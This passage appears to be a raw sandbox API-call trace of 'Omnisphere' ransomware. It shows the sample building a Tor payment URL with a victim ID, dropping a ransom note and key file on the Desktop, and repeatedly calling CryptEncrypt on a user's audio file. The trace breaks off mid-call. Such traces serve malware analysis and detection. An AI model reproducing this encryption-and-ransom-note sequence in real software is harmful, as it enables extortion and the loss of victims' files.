CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.224] GetProcessHeap () returned 0x1600000 [0163.224] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f380 [0163.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f380, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.225] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.225] GetProcessHeap () returned 0x1600000 [0163.225] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164cea8 [0163.225] PathCombineW (in: pszDest=0x164cea8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.225] GetProcessHeap () returned 0x1600000 [0163.225] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176b2b8 [0163.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.225] WriteFile (in: hFile=0x39c, lpBuffer=0x176b2b8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176b2b8*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.225] CloseHandle (hObject=0x39c) returned 1 [0163.226] GetProcessHeap () returned 0x1600000 [0163.226] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164ebe8 | out: hHeap=0x1600000) returned 1 [0163.226] GetProcessHeap () returned 0x1600000 [0163.226] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0163.226] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.226] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.226] CloseHandle (hObject=0x39c) returned 1 [0163.227] GetProcessHeap () returned 0x1600000 [0163.227] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0163.227] GetProcessHeap () returned 0x1600000 [0163.227] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1634d28 | out: hHeap=0x1600000) returned 1 [0163.227] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa770e760, ftCreationTime.dwHighDateTime=0x1d4cc3e, ftLastAccessTime.dwLowDateTime=0x8bc78f00, ftLastAccessTime.dwHighDateTime=0x1d4cdab, ftLastWriteTime.dwLowDateTime=0x8bc78f00, ftLastWriteTime.dwHighDateTime=0x1d4cdab, nFileSizeHigh=0x0, nFileSizeLow=0xc61e, dwReserved0=0x0, dwReserved1=0xf5, cFileName="9zbk-k.m4a", cAlternateFileName="")) returned 1 [0163.227] GetProcessHeap () returned 0x1600000 [0163.227] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x54) returned 0x163d538 [0163.227] PathCombineW (in: pszDest=0x163d538, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="9zbk-k.m4a" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a" [0163.227] StrStrW (lpFirst=".omnisphere", lpSrch=".m4a") returned 0x0 [0163.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\9zbk-k.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.228] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=50718) returned 1 [0163.228] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xc0fa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.228] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.228] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] GetTickCount () returned 0x1168890 [0163.229] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1669010) returned 1 [0163.230] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639768) returned 1 [0163.230] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.230] CryptDestroyKey (hKey=0x1639768) returned 1 [0163.230] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0163.230] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc61e, lpName=0x0) returned 0x380 [0163.230] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc61e) returned 0x1480000 [0163.231] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16683d8) returned 1 [0163.231] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16396e8) returned 1 [0163.231] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.231] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.231] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.232] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.233] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.234] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, 